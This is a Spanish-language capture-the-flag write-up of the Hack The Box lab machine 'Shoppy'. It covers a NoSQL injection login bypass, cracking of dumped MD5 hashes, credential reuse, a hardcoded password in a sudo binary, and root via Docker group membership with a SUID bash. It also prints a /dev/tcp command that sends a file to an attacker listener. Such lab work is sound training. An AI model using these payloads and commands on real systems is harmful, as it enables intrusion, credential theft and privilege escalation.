Shoppy es una máquina Linux en la que primeramente explotaremos un NoSQL injection para bypassear un panel de login. A continuación, encontraremos unas credenciales que nos servirán para autenticarnos en otro panel de inicio de sesión. Nos conectaremos por SSH con un usuario y una contraseña que localizaremos en esta web. Para escalar a root, primero pivotaremos al usuario deploy gracias a un privilegio que tenemos asignado a nivel de sudoers y finalmente nos aprovecharemos de que este usuario forma parte del grupo docker para conseguir máximos privilegios.
Información de la máquina
Reconocimiento
ping
En primer lugar enviaremos un ping a la máquina víctima para conocer su sistema operativo y saber si tenemos conexión con la misma. Un TTL menor o igual a 64 significa que la máquina es Linux. Por otra parte, un TTL menor o igual a 128 significa que la máquina es Windows.
1
2
3
4
5
6
7
ping -c 1 10.10.11.180
PING 10.10.11.180 (10.10.11.180) 56(84) bytes of data.
64 bytes from 10.10.11.180: icmp_seq=1 ttl=63 time=104 ms
--- 10.10.11.180 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 103.514/103.514/103.514/0.000 ms
Vemos que nos enfrentamos a una máquina Linux, ya que su TTL es 63.
Port discovery
Procedemos ahora a escanear todo el rango de puertos de la máquina víctima con la finalidad de encontrar aquellos que estén abiertos (status open). Lo haremos con la herramienta nmap.
1
sudo nmap -sS --min-rate 5000 -n -Pn --open -p- -vvv 10.10.11.180 -oG allPorts
1
2
3
4
5
Nmap scan report for 10.10.11.180
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
9093/tcp open copycat syn-ack ttl 63
-sS efectúa un TCP SYN Scan, iniciando rápidamente una conexión sin finalizarla.
-min-rate 5000 sirve para enviar paquetes no más lentos que 5000 paquetes por segundo.
-n sirve para evitar resolución DNS.
-Pn para evitar host discovery.
-vvv triple verbose para que nos vuelque la información que vaya encontrando el escaneo.
-p- para escanear todo el rango de puertos.
-oG exportará la evidencia en formato grepeable al fichero allPorts en este caso.
Hemos encontrado tres puertos abiertos, el 22, el 80 y el 9093.
Un puerto abierto es un puerto en un servidor que está escuchando solicitudes de conexión entrantes. Vamos a lanzar una serie de scripts básicos de enumeración en busca de los servicios que están corriendo y de sus versiones.
1
nmap -sCV -p22,80,9093 10.10.11.180 -oN targeted
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Service scan Timing: About 66.67% done; ETC: 17:02 (0:00:43 remaining)
Nmap scan report for 10.10.11.180
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Tue, 10 Jan 2023 16:00:30 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 287
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 287
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 3.8389e-05
| go_gc_duration_seconds{quantile="0.25"} 7.2001e-05
|_ go_gc
El puerto 22 es SSH, el puerto 80 HTTP y el 9093 puede que sea copycat (no es seguro, nmap pone un interrogante). De momento, como no disponemos de credenciales para autenticarnos port SSH, nos centraremos en auditar los puertos 80 y 9093.
Puerto 9093 abierto (Prometheus)
Cuando accedemos a http://10.10.11.180:9093, nos encontramos con la siguiente información:
Estas son métricas exportadas por una aplicación Go usando Prometheus, un sistema de monitorización y alertas. Estas métricas se relacionan con el recolector de basura (GC) del runtime de Go.
No vamos a encontrar nada interesante en este puerto de momento.
Puerto 80 abierto (HTTP)
Gracias a los scripts de reconocimiento que lanza nmap, nos damos cuenta que el servicio web que corre en el puerto 80 nos redirige al dominio shoppy.htb. Para que nuestra máquina pueda resolver a este dominio deberemos añadirlo al final de nuestro /etc/hosts, de la forma: 10.10.11.180 shoppy.htb
Tecnologías utilizadas
Primero utilizaremos whatweb para enumerar las tecnologías que corren detrás del servicio web. Nos encontramos con lo siguiente:
1
2
3
whatweb 10.10.11.180
http://10.10.11.180 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.23.1], IP[10.10.11.180], RedirectLocation[http://shoppy.htb], Title[301 Moved Permanently], nginx[1.23.1]
http://shoppy.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.23.1], IP[10.10.11.180], JQuery, Script, Title[Shoppy Wait Page][Title element contains newline(s)!], nginx[1.23.1]
Hace el redireccionamiento que ya sabíamos a shoppy.htb. La web está utilizando como servidor nginx 1.23.1.
Fuzzing de directorios
Como en la página principal de shoppy.htb no encontramos nada interesante, vamos a buscar directorios que se encuentren bajo este dominio.
1
wfuzz -c -u 'http://shoppy.htb/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 --hc=404
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://shoppy.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 301 10 L 16 W 179 Ch "images"
000000053: 200 25 L 62 W 1074 Ch "login"
000000259: 302 0 L 4 W 28 Ch "admin"
000000291: 301 10 L 16 W 179 Ch "assets"
000000550: 301 10 L 16 W 173 Ch "css"
000000953: 301 10 L 16 W 171 Ch "js"
000002771: 301 10 L 16 W 177 Ch "fonts"
-c es formato colorizado.
–hc=404 para esconder todas las repuestas 404 (No nos interesan, ya que son directorios que no existen). hc viene de hide code.
-w para especificar el diccionario que queremos emplear. Para fuzzear directorios siempre suele emplear el mismo, directory-list-2.3-medium.txt. Este diccionario se puede encontrar en el propio Parrot OS o en Kali. También se puede encontrar en el repositorio de SecLists.
-u para especificar la url. La palabra FUZZ es un término de wfuzz donde se va a sustituir cada línea del diccionario.
-t 200 para indicar la cantidad de hilos a usar (ejecuciones paralelas). A más hilos más rápido, pero menos fiable.
Encontramos un panel de login en http://shoppy.htb/login:
Como no disponemos de credenciales válidas, podríamos probar a autenticarnos con credenciales básicas como admin:admin o administrator:administrator, pero no conseguiremos acceder.
Antes de explotar algún tipo de inyección SQL para intentar bypassear el panel de login vamos a buscar subdominios.
Fuzzing de subdominios
Lanzaremos la herramienta wfuzz para encontrar subdominios:
1
wfuzz -c -u 'http://shoppy.htb/' -H 'Host: FUZZ.shoppy.htb' -t 200 -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --hh=169
1
2
3
4
5
6
7
8
9
10
11
12
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://shoppy.htb/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000047340: 200 0 L 141 W 3122 Ch "mattermost"
-c es formato colorizado.
–hh=169 para esconder todas aquellas repuestas que devuelvan un número de caracteres igual a 169 (en este caso un subdominio erróneo devuelve esta cantidad de caracteres).
-w para especificar el diccionario que queremos utilizar. Para fuzzear subdirectorios suelo emplear subdomains-top1million-110000.txt. Utilizando este diccionario no vamos a encontrar nada. Otra opción viable es utilizar bitquark-subdomains-top100000.txt. Estos dos diccionarios se pueden encontrar en el repositorio de SecLists.
-u para especificar la url.
-t para especificar el número de threads a utilizar.
-H para especificar Headers adicionales. FUZZ es una palabra especial de wfuzz y es donde se sustituirá cada línea del diccionario.
Haciendo uso del diccionario bitquark-subdomains-top100000.txt, comprobamos que nos ha encontrado el subdominio mattermost. Para poder resolver a mattermost.shared.htb, deberemos introducirlo en nuestro /etc/hosts:
1
10.10.11.180 shoppy.htb mattermost.shoppy.htb
Si accedemos a http://mattermost.shared.htb nos encontramos con un panel de login:
Podríamos probar a autenticarnos con credenciales por defecto, pero tampoco conseguiríamos acceder.
En este punto, en el que ya hemos investigado los servicios que corren en todos los puertos, vamos a empezar auditando el panel de login encontrado en http://shoppy.htb/login.
Shell como jaeger
NoSQL Injection en http://shoppy.htb/login
Detección
El primer paso es detectar si el panel de login es vulnerable a SQL Injection. Para ello, podemos introducir caracteres especiales para ver como responde la página web. Por ejemplo, podemos probar con los siguientes payloads:
1
2
3
4
test'
test'-- -
test' or '1'='1
test' or '1'='1'-- -
El simple hecho de introducir una comilla en el campo de username hace que el servidor web responda con un 504 Gateway Time-out:
Esto nos debe hacer sospechar que este campo puede ser vulnerable a algún tipo de inyección. Buscando en Google sobre alguna relación entre el error 504 e inyecciones SQL encuentro el siguiente artículo. En él se habla de como se puede detectar y como se puede explotar una web vulnerable a inyección NoSQL.
Según el artículo, para detectar si una web es vulnerable, si utilizamos cualquiera de estos símbolos:
1
'"\/$[].>
Y nos devuelve una respuesta del tipo 500, la web puede ser susceptible a NoSQL inyection. Efectivamente, con la '
nos devuelve un código 504.
Explotación
Uno de los payloads que nos presenta el artículo anterior para poder explotar esta vulnerabilidad es:
1
'|| '1'=='1
Este payload no nos va a funcionar.
Imaginemos que tenemos esta query, que recibe el usuario y la contraseña que nosostros introducimos y valida el intento de inicio de sesión:
1
const query = { $where: `this.username === '${username}' && this.password === '${passToTest}'` };
Si inyectamos el payload anterior quedaría:
1
const query = { $where: `this.username === ''|| '1'=='1' && this.password === '${passToTest}'` };
Esta query con el payload anterior devolvería lo siguiente:
- Primero se evalúan los AND y luego las OR.
'1'=='1' && this.password === '${passToTest}'
: Falso (La primera parte es verdadera, pero la contraseña no la sabemos, por lo tanto, el resultado es falso).this.username === '' || Falso
. Falso (La primera parte es falsa, ya que es un campo vacío y la segunda también por lo anterior).
Por lo tanto, el payload anterior no funcinaría para bypassear el panel de login. Pero, ¿y si en vez de '|| '1'=='1
utilizamos <user>'|| '1'=='1
donde user es un usuario válido de la base de datos? El resultado de la query sería cierto. Ahora debemos encontrar un usuario que exista en la base de datos. Uno muy común en las máquinas de Hack The Box es el usuario admin.
Así, el payload válido sería el siguiente:
1
admin'|| '1'=='1
Introduciendo las credenciales username=admin'|| '1'=='1
y password=cualquier_cosa
conseguiremos acceder.
Teniendo en cuenta la query anterior, el resultado de la ejecución sería:
1
2
3
4
1. '1'=='1' && this.password === 'cualquier_cosa' --- Falso
2. this.username === 'admin' || Falso
3. Cierto || Falso
4. Cierto
Investigando panel de administración de shoppy.htb
El panel de administración tiene el siguiente aspecto:
Si clicamos en el botón Search for users nos aparecerá una barra de búsqueda. Igual que antes, si introducimos una comilla, el servidor nos dará un error. Podemos reutilizar el payload anterior para ver como se comporta la web. La barra de búsqueda también es vulnerable a NoSQLI. Nos devuelve lo siguiente:
Es un documento que contiene los siguientes usuarios y credenciales:
1
2
3
4
5
6
7
8
9
10
11
12
[
{
"_id": "62db0e93d6d6a999a66ee67a",
"username": "admin",
"password": "23c6877d9e2b564ef8b32c3a23de27b2"
},
{
"_id": "62db0e93d6d6a999a66ee67b",
"username": "josh",
"password": "6ebcea65320589ca4f2f1ce039975995"
}
]
Tenemos dos hahses MD5 que podemos intentar romper por fuerza bruta. Para ello, utilizaremos la herramienta John The Ripper.
Primero, crearemos un fichero hashes con el siguiente contenido:
1
2
admin:23c6877d9e2b564ef8b32c3a23de27b2
josh:6ebcea65320589ca4f2f1ce039975995
Seguidamente, utilizaremos el comando:
1
john -w=/usr/share/wordlists/rockyou.txt hashes --format=Raw-MD5
-w para indicar el diccionario a utilizar. En mi caso rockyou.txt.
hashes es el archivo que contiene los hashes que queremos romper.
-format=Raw-MD5 para indicarle a la herramienta que se tratan de hahses MD5.
Pasado un tiempo, conseguiremos obtener la contraseña de josh:
1
2
3
4
5
6
7
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=8
remembermethisway (josh)
1g 0:00:00:01 DONE (2023-01-11 10:42) 0.7142g/s 10245Kp/s 10245Kc/s 10825KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
josh:remembermethisway.
Podemos emplear estas credenciales para autenticarnos en el portal y ver si hay algo diferente, pero no encontraremos nada interesante. También podemos usarlas para autenticarnos por SSH, pero tampoco podremos. Recordemos que hay otro panel de login en http://mattermost.shoppy.htb.
Investigando mattermost.shoppy.htb
Con las credenciales josh:remembermethisway conseguiremos acceder. Una vez dentro, vemos lo siguiente:
A la izquierda tenemos diversos chats. En deploy machine encontraremos:
Credenciales jaeger:Sh0ppyBest@pp!. Podremos acceder por SSH con este usuario y esta contraseña.
user.txt
Encontraremos la primera flag en el homedir de jaeger:
1
2
jaeger@shoppy:~$ cat user.txt
cf8a42ff88e2990140e63b628c5b3a6f
Shell como deploy
Reconocimiento del sistema
sudoers
Para listar los privilegios de sudo asignados al usuario jaeger utilizaremos el comando sudo -l
:
1
2
3
4
5
6
jaeger@shoppy:/home/deploy$ sudo -l
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
Podemos ejecutar como el usuario deploy el binario password-manager, que se encuentra en /home/deploy. El comando será:
1
sudo -u deploy /home/deploy/password-manager
Inspeccionado binario password-manager
Cuando lo ejecutamos nos pide una contraseña:
1
2
3
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password:
Podríamos probar con las contraseñas encontradas anteriormente, remembermethisway y Sh0ppyBest@pp!, pero no serán correctas.
Voy a contemplar dos opciones para conseguir la contraseña:
Opción 1. Podemos visualizarla haciendo un cat al binario:
1
2
3
4
5
6
7
8
9
jaeger@shoppy:/home/deploy$ cat password-manager
[...]
x@@H/Ht5/%/@%/h%/h%/h%/h%/h%/h%/h%/hp%/`%/h P%/h
@%/h
0%/h
H=.DH=I/HB/H9tHn.Ht H=/H5/H)HH?HHHtHE.HfD=11u/UH=-Ht
HHS,HHEHHEH<HHEHHHEHwHHEHfHH H=.-h 1]{UHSHXH5
H]UHH}u}u2}u)H=.Hu,H5.H+H/UH]AWL=W)AVIAUIATAUH-P)SL)HtLLDAHH9u[]A\A]A^A_Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !cat /home/deploy/creds.txtAccess denied! This incident will be reported !;@0@h%
[...]
La contraseña es Sample (Please enter your master password: SampleAccess granted!).
Opción 2. Podemos traernos el binario a nuestra máquina de atacante e inspeccionarlo con ghidra. Para transferirlo, en la máquina víctima escribiremos el siguiente comando:
1
cat password-manager > /dev/tcp/<IP>/<Puerto>
En la máquina de atacante nos pondremos en escucha para recibirlo:
1
sudo nc -nlvp 443 > password-manager
A continuación lo abrimos con ghidra, que es una herramienta para inspeccionar binarios:
Podemos ver la cadena Sample.
Credenciales de deploy
Si introducimos como contraseña Sample:
1
2
3
4
5
6
7
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
Credenciales deploy:Deploying@pp!. Con su deploy
y posteriormente Deploying@pp!
, pivotaremos a este usuario.
Shell como root
Reconocimiento del sistema
Grupos de deploy
Para visualizar los grupos asignados a deploy, podemos utilizar el comando id
:
1
2
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
Formamos parte del grupo Docker. Formando parte de este grupo, existe una manera de montar la raíz del sistema en un contenedor, teniendo así acceso a toda la máquina como root.
Explotación grupo Docker
En GTFObins tenemos una forma de spawnearnos una shell como root:
1
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Para desplegar el contenedor, el comando anterior está utilizando una imagen llamada alpine. Con docker images
podemos ver si se encuentra descargada en el sistema:
1
2
3
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 5 months ago 5.53MB
Sí que está descargada. Corriendo el comando anterior, seriamos root en un contendor, teniendo acceso a todo el sistema.
Como estamos en un contenedor, podemos modificar los permisos de la bash con chmod u+s /bin/bash
para que luego al salirnos del contenedor podamos continuar teniendo acceso a la máquina como root. Ahora ya nos podemos salir y simplemente haciendo bash -p
seríamos root.
root.txt
Podemos encontrar la última flag en el homedir de root:
1
2
bash-5.1## cat /root/root.txt
5ba5267e7361bcee645f5e7733d931f2